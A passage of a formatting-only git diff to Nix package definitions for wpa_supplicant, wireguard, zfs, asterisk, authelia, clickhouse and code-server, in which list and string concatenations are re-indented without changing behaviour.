-  buildInputs =
-    [ udev ]
-    ++ lib.optional (!stdenv.hostPlatform.isGnu) argp-standalone
-    ++ lib.optionals withQt [
-      alsa-lib
-      libX11
-      qtbase
-      libGLU
-    ];
+  buildInputs = [
+    udev
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isGnu) argp-standalone
+  ++ lib.optionals withQt [
+    alsa-lib
+    libX11
+    qtbase
+    libGLU
+  ];
 
   propagatedBuildInputs = [ libjpeg ];
 
diff --git a/pkgs/os-specific/linux/wireguard/default.nix b/pkgs/os-specific/linux/wireguard/default.nix
index 64925ce884b6..733f08fa0fd9 100644
--- a/pkgs/os-specific/linux/wireguard/default.nix
+++ b/pkgs/os-specific/linux/wireguard/default.nix
@@ -27,17 +27,17 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     perl
     bc
-  ] ++ kernel.moduleBuildDependencies;
+  ]
+  ++ kernel.moduleBuildDependencies;
 
   preBuild = "cd src";
   buildFlags = [ "module" ];
-  makeFlags =
-    [
-      "ARCH=${stdenv.hostPlatform.linuxArch}"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
-    ];
+  makeFlags = [
+    "ARCH=${stdenv.hostPlatform.linuxArch}"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
+  ];
 
   INSTALL_MOD_PATH = placeholder "out";
   installFlags = [ "DEPMOD=true" ];
diff --git a/pkgs/os-specific/linux/wpa_supplicant/default.nix b/pkgs/os-specific/linux/wpa_supplicant/default.nix
index d51c0bb87aed..32481a4c757e 100644
--- a/pkgs/os-specific/linux/wpa_supplicant/default.nix
+++ b/pkgs/os-specific/linux/wpa_supplicant/default.nix
@@ -43,81 +43,80 @@ stdenv.mkDerivation rec {
 
   # TODO: Patch epoll so that the dbus actually responds
   # TODO: Figure out how to get privsep working, currently getting SIGBUS
-  extraConfig =
-    ''
-      #CONFIG_ELOOP_EPOLL=y
-      #CONFIG_PRIVSEP=y
-      #CONFIG_TLSV12=y see #8332
-      CONFIG_AP=y
-      CONFIG_BGSCAN_LEARN=y
-      CONFIG_BGSCAN_SIMPLE=y
-      CONFIG_DEBUG_SYSLOG=y
-      CONFIG_EAP_EKE=y
-      CONFIG_EAP_FAST=y
-      CONFIG_EAP_GPSK=y
-      CONFIG_EAP_GPSK_SHA256=y
-      CONFIG_EAP_IKEV2=y
-      CONFIG_EAP_PAX=y
-      CONFIG_EAP_PWD=y
-      CONFIG_EAP_SAKE=y
-      CONFIG_ELOOP=eloop
-      CONFIG_EXT_PASSWORD_FILE=y
-      CONFIG_HS20=y
-      CONFIG_HT_OVERRIDES=y
-      CONFIG_IEEE80211AC=y
-      CONFIG_IEEE80211AX=y
-      CONFIG_IEEE80211BE=y
-      CONFIG_IEEE80211N=y
-      CONFIG_IEEE80211R=y
-      CONFIG_IEEE80211W=y
-      CONFIG_INTERNETWORKING=y
-      CONFIG_L2_PACKET=linux
-      CONFIG_LIBNL32=y
-      CONFIG_MESH=y
-      CONFIG_OWE=y
-      CONFIG_P2P=y
-      CONFIG_SAE_PK=y
-      CONFIG_TDLS=y
-      CONFIG_TLS=openssl
-      CONFIG_TLSV11=y
-      CONFIG_VHT_OVERRIDES=y
-      CONFIG_WNM=y
-      CONFIG_WPS=y
-      CONFIG_WPS_ER=y
-      CONFIG_WPS_NFS=y
-      CONFIG_SUITEB=y
-      CONFIG_SUITEB192=y
-    ''
-    + lib.optionalString withPcsclite ''
-      CONFIG_EAP_SIM=y
-      CONFIG_EAP_AKA=y
-      CONFIG_EAP_AKA_PRIME=y
-      CONFIG_PCSC=y
-    ''
-    + lib.optionalString dbusSupport ''
-      CONFIG_CTRL_IFACE_DBUS=y
-      CONFIG_CTRL_IFACE_DBUS_NEW=y
-      CONFIG_CTRL_IFACE_DBUS_INTRO=y
-    ''
-    # Upstream uses conditionals based on ifdef, so opposite of =y is
-    # not =n, as one may expect, but undefine.
-    #
-    # This config is sourced into makefile.
-    + lib.optionalString (!dbusSupport) ''
-      undefine CONFIG_CTRL_IFACE_DBUS
-      undefine CONFIG_CTRL_IFACE_DBUS_NEW
-      undefine CONFIG_CTRL_IFACE_DBUS_INTRO
-    ''
-    + (
-      if withReadline then
-        ''
-          CONFIG_READLINE=y
-        ''
-      else
-        ''
-          CONFIG_WPA_CLI_EDIT=y
-        ''
-    );
+  extraConfig = ''
+    #CONFIG_ELOOP_EPOLL=y
+    #CONFIG_PRIVSEP=y
+    #CONFIG_TLSV12=y see #8332
+    CONFIG_AP=y
+    CONFIG_BGSCAN_LEARN=y
+    CONFIG_BGSCAN_SIMPLE=y
+    CONFIG_DEBUG_SYSLOG=y
+    CONFIG_EAP_EKE=y
+    CONFIG_EAP_FAST=y
+    CONFIG_EAP_GPSK=y
+    CONFIG_EAP_GPSK_SHA256=y
+    CONFIG_EAP_IKEV2=y
+    CONFIG_EAP_PAX=y
+    CONFIG_EAP_PWD=y
+    CONFIG_EAP_SAKE=y
+    CONFIG_ELOOP=eloop
+    CONFIG_EXT_PASSWORD_FILE=y
+    CONFIG_HS20=y
+    CONFIG_HT_OVERRIDES=y
+    CONFIG_IEEE80211AC=y
+    CONFIG_IEEE80211AX=y
+    CONFIG_IEEE80211BE=y
+    CONFIG_IEEE80211N=y
+    CONFIG_IEEE80211R=y
+    CONFIG_IEEE80211W=y
+    CONFIG_INTERNETWORKING=y
+    CONFIG_L2_PACKET=linux
+    CONFIG_LIBNL32=y
+    CONFIG_MESH=y
+    CONFIG_OWE=y
+    CONFIG_P2P=y
+    CONFIG_SAE_PK=y
+    CONFIG_TDLS=y
+    CONFIG_TLS=openssl
+    CONFIG_TLSV11=y
+    CONFIG_VHT_OVERRIDES=y
+    CONFIG_WNM=y
+    CONFIG_WPS=y
+    CONFIG_WPS_ER=y
+    CONFIG_WPS_NFS=y
+    CONFIG_SUITEB=y
+    CONFIG_SUITEB192=y
+  ''
+  + lib.optionalString withPcsclite ''
+    CONFIG_EAP_SIM=y
+    CONFIG_EAP_AKA=y
+    CONFIG_EAP_AKA_PRIME=y
+    CONFIG_PCSC=y
+  ''
+  + lib.optionalString dbusSupport ''
+    CONFIG_CTRL_IFACE_DBUS=y
+    CONFIG_CTRL_IFACE_DBUS_NEW=y
+    CONFIG_CTRL_IFACE_DBUS_INTRO=y
+  ''
+  # Upstream uses conditionals based on ifdef, so opposite of =y is
+  # not =n, as one may expect, but undefine.
+  #
+  # This config is sourced into makefile.
+  + lib.optionalString (!dbusSupport) ''
+    undefine CONFIG_CTRL_IFACE_DBUS
+    undefine CONFIG_CTRL_IFACE_DBUS_NEW
+    undefine CONFIG_CTRL_IFACE_DBUS_INTRO
+  ''
+  + (
+    if withReadline then
+      ''
+        CONFIG_READLINE=y
+      ''
+    else
+      ''
+        CONFIG_WPA_CLI_EDIT=y
+      ''
+  );
 
   preBuild = ''
     for manpage in wpa_supplicant/doc/docbook/wpa_supplicant.conf* ; do
@@ -133,33 +132,31 @@ stdenv.mkDerivation rec {
       ${lib.optionalString withPcsclite "-I${lib.getDev pcsclite}/include/PCSC/"}"
   '';
 
-  buildInputs =
-    [
-      openssl
-      libnl
-    ]
-    ++ lib.optional dbusSupport dbus
-    ++ lib.optional withReadline readline
-    ++ lib.optional withPcsclite pcsclite;
+  buildInputs = [
+    openssl
+    libnl
+  ]
+  ++ lib.optional dbusSupport dbus
+  ++ lib.optional withReadline readline
+  ++ lib.optional withPcsclite pcsclite;
 
   nativeBuildInputs = [ pkg-config ];
 
-  postInstall =
-    ''
-      mkdir -p $out/share/man/man5 $out/share/man/man8
-      cp -v "doc/docbook/"*.5 $out/share/man/man5/
-      cp -v "doc/docbook/"*.8 $out/share/man/man8/
-    ''
-    + lib.optionalString dbusSupport ''
-      mkdir -p $out/share/dbus-1/system.d $out/share/dbus-1/system-services $out/etc/systemd/system
-      cp -v "dbus/"*service $out/share/dbus-1/system-services
-      cp -v dbus/dbus-wpa_supplicant.conf $out/share/dbus-1/system.d
-      cp -v "systemd/"*.service $out/etc/systemd/system
-    ''
-    + ''
-      rm $out/share/man/man8/wpa_priv.8
-      install -Dm444 wpa_supplicant.conf $out/share/doc/wpa_supplicant/wpa_supplicant.conf.example
-    '';
+  postInstall = ''
+    mkdir -p $out/share/man/man5 $out/share/man/man8
+    cp -v "doc/docbook/"*.5 $out/share/man/man5/
+    cp -v "doc/docbook/"*.8 $out/share/man/man8/
+  ''
+  + lib.optionalString dbusSupport ''
+    mkdir -p $out/share/dbus-1/system.d $out/share/dbus-1/system-services $out/etc/systemd/system
+    cp -v "dbus/"*service $out/share/dbus-1/system-services
+    cp -v dbus/dbus-wpa_supplicant.conf $out/share/dbus-1/system.d
+    cp -v "systemd/"*.service $out/etc/systemd/system
+  ''
+  + ''
+    rm $out/share/man/man8/wpa_priv.8
+    install -Dm444 wpa_supplicant.conf $out/share/doc/wpa_supplicant/wpa_supplicant.conf.example
+  '';
 
   passthru.tests = {
     inherit (nixosTests) wpa_supplicant;
diff --git a/pkgs/os-specific/linux/zfs/2_2.nix b/pkgs/os-specific/linux/zfs/2_2.nix
index f32312ae3d80..bdd58548f2e8 100644
--- a/pkgs/os-specific/linux/zfs/2_2.nix
+++ b/pkgs/os-specific/linux/zfs/2_2.nix
@@ -16,13 +16,12 @@ callPackage ./generic.nix args {
   # this package should point to the latest release.
   version = "2.2.8";
 
-  tests =
-    {
-      inherit (nixosTests.zfs) series_2_2;
-    }
-    // lib.optionalAttrs stdenv.isx86_64 {
-      inherit (nixosTests.zfs) installer;
-    };
+  tests = {
+    inherit (nixosTests.zfs) series_2_2;
+  }
+  // lib.optionalAttrs stdenv.isx86_64 {
+    inherit (nixosTests.zfs) installer;
+  };
 
   maintainers = with lib.maintainers; [
     adamcstephens
diff --git a/pkgs/os-specific/linux/zfs/2_3.nix b/pkgs/os-specific/linux/zfs/2_3.nix
index 965f4ee874f3..1b4f0e642bf5 100644
--- a/pkgs/os-specific/linux/zfs/2_3.nix
+++ b/pkgs/os-specific/linux/zfs/2_3.nix
@@ -16,13 +16,12 @@ callPackage ./generic.nix args {
   # this package should point to the latest release.
   version = "2.3.3";
 
-  tests =
-    {
-      inherit (nixosTests.zfs) series_2_3;
-    }
-    // lib.optionalAttrs stdenv.isx86_64 {
-      inherit (nixosTests.zfs) installer;
-    };
+  tests = {
+    inherit (nixosTests.zfs) series_2_3;
+  }
+  // lib.optionalAttrs stdenv.isx86_64 {
+    inherit (nixosTests.zfs) installer;
+  };
 
   maintainers = with lib.maintainers; [
     adamcstephens
diff --git a/pkgs/os-specific/linux/zfs/generic.nix b/pkgs/os-specific/linux/zfs/generic.nix
index 570b41eacd51..3a60b8216037 100644
--- a/pkgs/os-specific/linux/zfs/generic.nix
+++ b/pkgs/os-specific/linux/zfs/generic.nix
@@ -140,13 +140,12 @@ let
           substituteInPlace ./cmd/arc_summary --replace-fail "/sbin/modinfo" "modinfo"
         '';
 
-      nativeBuildInputs =
-        [
-          autoreconfHook269
-          nukeReferences
-        ]
-        ++ optionals buildKernel (kernel.moduleBuildDependencies ++ [ perl ])
-        ++ optional buildUser pkg-config;
+      nativeBuildInputs = [
+        autoreconfHook269
+        nukeReferences
+      ]
+      ++ optionals buildKernel (kernel.moduleBuildDependencies ++ [ perl ])
+      ++ optional buildUser pkg-config;
       buildInputs =
         optionals buildUser [
           zlib
@@ -168,32 +167,31 @@ let
         "pic"
       ];
 
-      configureFlags =
+      configureFlags = [
+        "--with-config=${configFile}"
+        "--with-tirpc=1"
+        (lib.withFeatureAs (buildUser && enablePython) "python" python3.interpreter)
+      ]
+      ++ optionals buildUser [
+        "--with-dracutdir=$(out)/lib/dracut"
+        "--with-udevdir=$(out)/lib/udev"
+        "--with-systemdunitdir=$(out)/etc/systemd/system"
+        "--with-systemdpresetdir=$(out)/etc/systemd/system-preset"
+        "--with-systemdgeneratordir=$(out)/lib/systemd/system-generator"
+        "--with-mounthelperdir=$(out)/bin"
+        "--libexecdir=$(out)/libexec"
+        "--sysconfdir=/etc"
+        "--localstatedir=/var"
+        "--enable-systemd"
+        "--enable-pam"
+      ]
+      ++ optionals buildKernel (
         [
-          "--with-config=${configFile}"
-          "--with-tirpc=1"
-          (lib.withFeatureAs (buildUser && enablePython) "python" python3.interpreter)
+          "--with-linux=${kernel.dev}/lib/modules/${kernel.modDirVersion}/source"
+          "--with-linux-obj=${kernel.dev}/lib/modules/${kernel.modDirVersion}/build"
         ]
-        ++ optionals buildUser [
-          "--with-dracutdir=$(out)/lib/dracut"
-          "--with-udevdir=$(out)/lib/udev"
-          "--with-systemdunitdir=$(out)/etc/systemd/system"
-          "--with-systemdpresetdir=$(out)/etc/systemd/system-preset"
-          "--with-systemdgeneratordir=$(out)/lib/systemd/system-generator"
-          "--with-mounthelperdir=$(out)/bin"
-          "--libexecdir=$(out)/libexec"
-          "--sysconfdir=/etc"
-          "--localstatedir=/var"
-          "--enable-systemd"
-          "--enable-pam"
-        ]
-        ++ optionals buildKernel (
-          [
-            "--with-linux=${kernel.dev}/lib/modules/${kernel.modDirVersion}/source"
-            "--with-linux-obj=${kernel.dev}/lib/modules/${kernel.modDirVersion}/build"
-          ]
-          ++ kernelModuleMakeFlags
-        );
+        ++ kernelModuleMakeFlags
+      );
 
       makeFlags = optionals buildKernel kernelModuleMakeFlags;
 
@@ -264,45 +262,43 @@ let
 
       outputs = [ "out" ] ++ optionals buildUser [ "dev" ];
 
-      passthru =
-        {
-          inherit kernel;
-          inherit enableMail kernelModuleAttribute;
-          latestCompatibleLinuxPackages = lib.warn "zfs.latestCompatibleLinuxPackages is deprecated and is now pointing at the default kernel. If using the stable LTS kernel (default `linuxPackages` is not possible then you must explicitly pin a specific kernel release. For example, `boot.kernelPackages = pkgs.linuxPackages_6_6`. Please be aware that non-LTS kernels are likely to go EOL before ZFS supports the latest supported non-LTS release, requiring manual intervention." linuxPackages;
+      passthru = {
+        inherit kernel;
+        inherit enableMail kernelModuleAttribute;
+        latestCompatibleLinuxPackages = lib.warn "zfs.latestCompatibleLinuxPackages is deprecated and is now pointing at the default kernel. If using the stable LTS kernel (default `linuxPackages` is not possible then you must explicitly pin a specific kernel release. For example, `boot.kernelPackages = pkgs.linuxPackages_6_6`. Please be aware that non-LTS kernels are likely to go EOL before ZFS supports the latest supported non-LTS release, requiring manual intervention." linuxPackages;
 
-          # The corresponding userspace tools to this instantiation
-          # of the ZFS package set.
-          userspaceTools = genericBuild (
-            outerArgs
-            // {
-              configFile = "user";
-            }
-          ) innerArgs;
+        # The corresponding userspace tools to this instantiation
+        # of the ZFS package set.
+        userspaceTools = genericBuild (
+          outerArgs
+          // {
+            configFile = "user";
+          }
+        ) innerArgs;
 
-          inherit tests;
-        }
-        // lib.optionalAttrs (kernelModuleAttribute != "zfs_unstable") {
-          updateScript = nix-update-script {
-            extraArgs = [
-              "--version-regex=^zfs-(${lib.versions.major version}\\.${lib.versions.minor version}\\.[0-9]+)"
-              "--override-filename=pkgs/os-specific/linux/zfs/${lib.versions.major version}_${lib.versions.minor version}.nix"
-            ];
-          };
+        inherit tests;
+      }
+      // lib.optionalAttrs (kernelModuleAttribute != "zfs_unstable") {
+        updateScript = nix-update-script {
+          extraArgs = [
+            "--version-regex=^zfs-(${lib.versions.major version}\\.${lib.versions.minor version}\\.[0-9]+)"
+            "--override-filename=pkgs/os-specific/linux/zfs/${lib.versions.major version}_${lib.versions.minor version}.nix"
+          ];
         };
+      };
 
       meta = {
         description = "ZFS Filesystem Linux" + (if buildUser then " Userspace Tools" else " Kernel Module");
-        longDescription =
-          ''
-            ZFS is a filesystem that combines a logical volume manager with a
-            Copy-On-Write filesystem with data integrity detection and repair,
-            snapshotting, cloning, block devices, deduplication, and more.
+        longDescription = ''
+          ZFS is a filesystem that combines a logical volume manager with a
+          Copy-On-Write filesystem with data integrity detection and repair,
+          snapshotting, cloning, block devices, deduplication, and more.
 
-            ${
-              if buildUser then "This is the userspace tools package." else "This is the kernel module package."
-            }
-          ''
-          + extraLongDescription;
+          ${
+            if buildUser then "This is the userspace tools package." else "This is the kernel module package."
+          }
+        ''
+        + extraLongDescription;
         homepage = "https://github.com/openzfs/zfs";
         changelog = "https://github.com/openzfs/zfs/releases/tag/zfs-${version}";
         license = lib.licenses.cddl;
diff --git a/pkgs/servers/asterisk/default.nix b/pkgs/servers/asterisk/default.nix
index fb50f3b31437..da2845f8ea80 100644
--- a/pkgs/servers/asterisk/default.nix
+++ b/pkgs/servers/asterisk/default.nix
@@ -47,31 +47,30 @@ let
       inherit version;
       pname = "asterisk" + lib.optionalString ldapSupport "-ldap";
 
-      buildInputs =
-        [
-          jansson
-          libedit
-          libxml2
-          libxslt
-          ncurses
-          openssl
-          sqlite
-          dmidecode
-          libuuid
-          newt
-          lua
-          speex
-          srtp
-          wget
-          curl
-          iksemel
-        ]
-        ++ lib.optionals withOpus [
-          libopus
-          opusfile
-          libogg
-        ]
-        ++ lib.optionals ldapSupport [ openldap ];
+      buildInputs = [
+        jansson
+        libedit
+        libxml2
+        libxslt
+        ncurses
+        openssl
+        sqlite
+        dmidecode
+        libuuid
+        newt
+        lua
+        speex
+        srtp
+        wget
+        curl
+        iksemel
+      ]
+      ++ lib.optionals withOpus [
+        libopus
+        opusfile
+        libogg
+      ]
+      ++ lib.optionals ldapSupport [ openldap ];
       nativeBuildInputs = [
         util-linux
         pkg-config
@@ -86,7 +85,8 @@ let
         # This patch changes the runtime behavior to look for state
         # directories in /var rather than ${out}/var.
         ./runtime-vardirs.patch
-      ] ++ lib.optional withOpus "${asterisk-opus}/asterisk.patch";
+      ]
+      ++ lib.optional withOpus "${asterisk-opus}/asterisk.patch";
 
       postPatch = ''
         echo "PJPROJECT_CONFIG_OPTS += --prefix=$out" >> third-party/pjproject/Makefile.rules
diff --git a/pkgs/servers/authelia/default.nix b/pkgs/servers/authelia/default.nix
index 1d247e4899cb..22b4f8f88e03 100644
--- a/pkgs/servers/authelia/default.nix
+++ b/pkgs/servers/authelia/default.nix
@@ -60,17 +60,16 @@ buildGoModule rec {
   # several tests with networking and several that want chromium
   doCheck = false;
 
-  postInstall =
-    ''
-      mkdir -p $out/etc/authelia
-      cp config.template.yml $out/etc/authelia
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd authelia \
-        --bash <($out/bin/authelia completion bash) \
-        --fish <($out/bin/authelia completion fish) \
-        --zsh <($out/bin/authelia completion zsh)
-    '';
+  postInstall = ''
+    mkdir -p $out/etc/authelia
+    cp config.template.yml $out/etc/authelia
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd authelia \
+      --bash <($out/bin/authelia completion bash) \
+      --fish <($out/bin/authelia completion fish) \
+      --zsh <($out/bin/authelia completion zsh)
+  '';
 
   doInstallCheck = true;
   installCheckPhase = ''
diff --git a/pkgs/servers/clickhouse/default.nix b/pkgs/servers/clickhouse/default.nix
index 3e97c23b1a2a..73bd25fe2a5b 100644
--- a/pkgs/servers/clickhouse/default.nix
+++ b/pkgs/servers/clickhouse/default.nix
@@ -77,28 +77,27 @@ mkDerivation rec {
   ];
 
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      cmake
-      ninja
-      python3
-      perl
-      llvmPackages.lld
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isx86_64 [
-      nasm
-      yasm
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      llvmPackages.bintools
-      findutils
-      darwin.bootstrap_cmds
-    ]
-    ++ lib.optionals rustSupport [
-      rustc
-      cargo
-      rustPlatform.cargoSetupHook
-    ];
+  nativeBuildInputs = [
+    cmake
+    ninja
+    python3
+    perl
+    llvmPackages.lld
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86_64 [
+    nasm
+    yasm
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    llvmPackages.bintools
+    findutils
+    darwin.bootstrap_cmds
+  ]
+  ++ lib.optionals rustSupport [
+    rustc
+    cargo
+    rustPlatform.cargoSetupHook
+  ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
@@ -157,52 +156,50 @@ mkDerivation rec {
     popd
   '';
 
-  postPatch =
-    ''
-      patchShebangs src/
+  postPatch = ''
+    patchShebangs src/
 
-      substituteInPlace src/Storages/System/StorageSystemLicenses.sh \
-        --replace 'git rev-parse --show-toplevel' '$src'
-      substituteInPlace utils/check-style/check-duplicate-includes.sh \
-        --replace 'git rev-parse --show-toplevel' '$src'
-      substituteInPlace utils/check-style/check-ungrouped-includes.sh \
-        --replace 'git rev-parse --show-toplevel' '$src'
-      substituteInPlace utils/list-licenses/list-licenses.sh \
-        --replace 'git rev-parse --show-toplevel' '$src'
-      substituteInPlace utils/check-style/check-style \
-        --replace 'git rev-parse --show-toplevel' '$src'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      sed -i 's|gfind|find|' cmake/tools.cmake
-      sed -i 's|ggrep|grep|' cmake/tools.cmake
-    ''
-    + lib.optionalString rustSupport ''
+    substituteInPlace src/Storages/System/StorageSystemLicenses.sh \
+      --replace 'git rev-parse --show-toplevel' '$src'
+    substituteInPlace utils/check-style/check-duplicate-includes.sh \
+      --replace 'git rev-parse --show-toplevel' '$src'
+    substituteInPlace utils/check-style/check-ungrouped-includes.sh \
+      --replace 'git rev-parse --show-toplevel' '$src'
+    substituteInPlace utils/list-licenses/list-licenses.sh \
+      --replace 'git rev-parse --show-toplevel' '$src'
+    substituteInPlace utils/check-style/check-style \
+      --replace 'git rev-parse --show-toplevel' '$src'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    sed -i 's|gfind|find|' cmake/tools.cmake
+    sed -i 's|ggrep|grep|' cmake/tools.cmake
+  ''
+  + lib.optionalString rustSupport ''
 
-      pushd contrib/corrosion/generator
-      cargoDepsCopy="$corrosionDepsCopy" cargoSetupPostPatchHook
-      popd
+    pushd contrib/corrosion/generator
+    cargoDepsCopy="$corrosionDepsCopy" cargoSetupPostPatchHook
+    popd
 
-      pushd rust
-      cargoDepsCopy="$rustDepsCopy" cargoSetupPostPatchHook
-      popd
+    pushd rust
+    cargoDepsCopy="$rustDepsCopy" cargoSetupPostPatchHook
+    popd
 
-      cargoSetupPostPatchHook() { true; }
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Make sure Darwin invokes lld.ld64 not lld.
-      substituteInPlace cmake/tools.cmake \
-        --replace '--ld-path=''${LLD_PATH}' '-fuse-ld=lld'
-    '';
+    cargoSetupPostPatchHook() { true; }
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Make sure Darwin invokes lld.ld64 not lld.
+    substituteInPlace cmake/tools.cmake \
+      --replace '--ld-path=''${LLD_PATH}' '-fuse-ld=lld'
+  '';
 
-  cmakeFlags =
-    [
-      "-DENABLE_TESTS=OFF"
-      "-DCOMPILER_CACHE=disabled"
-      "-DENABLE_EMBEDDED_COMPILER=ON"
-    ]
-    ++ lib.optional (
-      stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64
-    ) "-DNO_ARMV81_OR_HIGHER=1";
+  cmakeFlags = [
+    "-DENABLE_TESTS=OFF"
+    "-DCOMPILER_CACHE=disabled"
+    "-DENABLE_EMBEDDED_COMPILER=ON"
+  ]
+  ++ lib.optional (
+    stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64
+  ) "-DNO_ARMV81_OR_HIGHER=1";
 
   env = {
     NIX_CFLAGS_COMPILE =
diff --git a/pkgs/servers/code-server/default.nix b/pkgs/servers/code-server/default.nix
index 46977793f6fd..2494fa1e5e11 100644
--- a/pkgs/servers/code-server/default.nix
+++ b/pkgs/servers/code-server/default.nix
@@ -136,18 +136,17 @@ stdenv.mkDerivation (finalAttrs: {
     quilt
   ];
 
-  buildInputs =
-    [
-      xorg.libX11
-      xorg.libxkbfile
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libsecret
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-      xcbuild
-    ];
+  buildInputs = [
+    xorg.libX11
+    xorg.libxkbfile
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libsecret
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+    xcbuild
+  ];
 
   patches = [
     # Remove all git calls from the VS Code build script except `git rev-parse
@@ -198,98 +197,97 @@ stdenv.mkDerivation (finalAttrs: {
     runHook postConfigure
   '';
 
-  buildPhase =
-    ''
-      runHook preBuild
+  buildPhase = ''
+    runHook preBuild
 
-      # Apply patches.
-      quilt push -a
+    # Apply patches.
+    quilt push -a
 
-      export PLAYWRIGHT_SKIP_BROWSER_DOWNLOAD=1
-      export SKIP_SUBMODULE_DEPS=1
-      export NODE_OPTIONS="--openssl-legacy-provider --max-old-space-size=4096"
+    export PLAYWRIGHT_SKIP_BROWSER_DOWNLOAD=1
+    export SKIP_SUBMODULE_DEPS=1
+    export NODE_OPTIONS="--openssl-legacy-provider --max-old-space-size=4096"
 
-      # Remove all built-in extensions, as these are 3rd party extensions that
-      # get downloaded from the VS Code marketplace.
-      jq --slurp '.[0] * .[1]' "./lib/vscode/product.json" <(
-        cat << EOF
-      {
-        "builtInExtensions": []
-      }
-      EOF
-      ) | sponge ./lib/vscode/product.json
+    # Remove all built-in extensions, as these are 3rd party extensions that
+    # get downloaded from the VS Code marketplace.
+    jq --slurp '.[0] * .[1]' "./lib/vscode/product.json" <(
+      cat << EOF
+    {
+      "builtInExtensions": []
+    }
+    EOF
+    ) | sponge ./lib/vscode/product.json
 
-      # Disable automatic updates.
-      sed -i '/update.mode/,/\}/{s/default:.*/default: "none",/g}' \
-        lib/vscode/src/vs/platform/update/common/update.config.contribution.ts
+    # Disable automatic updates.
+    sed -i '/update.mode/,/\}/{s/default:.*/default: "none",/g}' \
+      lib/vscode/src/vs/platform/update/common/update.config.contribution.ts
 
-      # Patch out remote download of nodejs from build script.
-      patch -p1 -i ${./remove-node-download.patch}
+    # Patch out remote download of nodejs from build script.
+    patch -p1 -i ${./remove-node-download.patch}
 
-      # Install dependencies.
-      patchShebangs .
-      find . -name "yarn.lock" -printf "%h\n" | \
-          xargs -I {} yarn --cwd {} \
-            --offline --frozen-lockfile --ignore-scripts --ignore-engines
-      patchShebangs .
+    # Install dependencies.
+    patchShebangs .
+    find . -name "yarn.lock" -printf "%h\n" | \
+        xargs -I {} yarn --cwd {} \
+          --offline --frozen-lockfile --ignore-scripts --ignore-engines
+    patchShebangs .
 
-      # Use esbuild from nixpkgs.
-      ${patchEsbuild "./lib/vscode/build" "0.12.6"}
-      ${patchEsbuild "./lib/vscode/extensions" "0.11.23"}
+    # Use esbuild from nixpkgs.
+    ${patchEsbuild "./lib/vscode/build" "0.12.6"}
+    ${patchEsbuild "./lib/vscode/extensions" "0.11.23"}
 
-      # Kerberos errors while building, so remove it for now as it is not
-      # required.
-      yarn remove kerberos --cwd lib/vscode/remote --offline --frozen-lockfile --ignore-scripts --ignore-engines
+    # Kerberos errors while building, so remove it for now as it is not
+    # required.
+    yarn remove kerberos --cwd lib/vscode/remote --offline --frozen-lockfile --ignore-scripts --ignore-engines
 
-      # Put ripgrep binary into bin, so post-install does not try to download it.
-      find -name ripgrep -type d \
-        -execdir mkdir -p {}/bin \; \
-        -execdir ln -s ${ripgrep}/bin/rg {}/bin/rg \;
+    # Put ripgrep binary into bin, so post-install does not try to download it.
+    find -name ripgrep -type d \
+      -execdir mkdir -p {}/bin \; \
+      -execdir ln -s ${ripgrep}/bin/rg {}/bin/rg \;
 
-      # Run post-install scripts after patching.
-      find ./lib/vscode \( -path "*/node_modules/*" -or -path "*/extensions/*" \) \
-        -and -type f -name "yarn.lock" -printf "%h\n" | \
-          xargs -I {} sh -c 'jq -e ".scripts.postinstall" {}/package.json >/dev/null && yarn --cwd {} postinstall --frozen-lockfile --offline || true'
-      patchShebangs .
+    # Run post-install scripts after patching.
+    find ./lib/vscode \( -path "*/node_modules/*" -or -path "*/extensions/*" \) \
+      -and -type f -name "yarn.lock" -printf "%h\n" | \
+        xargs -I {} sh -c 'jq -e ".scripts.postinstall" {}/package.json >/dev/null && yarn --cwd {} postinstall --frozen-lockfile --offline || true'
+    patchShebangs .
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Use prebuilt binary for @parcel/watcher, which requires macOS SDK 10.13+
-      # (see issue #101229).
-      pushd ./lib/vscode/remote/node_modules/@parcel/watcher
-      mkdir -p ./build/Release
-      mv ./prebuilds/darwin-x64/node.napi.glibc.node ./build/Release/watcher.node
-      jq "del(.scripts) | .gypfile = false" ./package.json | sponge ./package.json
-      popd
-    ''
-    + ''
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Use prebuilt binary for @parcel/watcher, which requires macOS SDK 10.13+
+    # (see issue #101229).
+    pushd ./lib/vscode/remote/node_modules/@parcel/watcher
+    mkdir -p ./build/Release
+    mv ./prebuilds/darwin-x64/node.napi.glibc.node ./build/Release/watcher.node
+    jq "del(.scripts) | .gypfile = false" ./package.json | sponge ./package.json
+    popd
+  ''
+  + ''
 
-      # Build binary packages (argon2, node-pty, etc).
-      npm rebuild --offline
-      npm rebuild --offline --prefix lib/vscode/remote
+    # Build binary packages (argon2, node-pty, etc).
+    npm rebuild --offline
+    npm rebuild --offline --prefix lib/vscode/remote
 
-      # Build code-server and VS Code.
-      yarn build
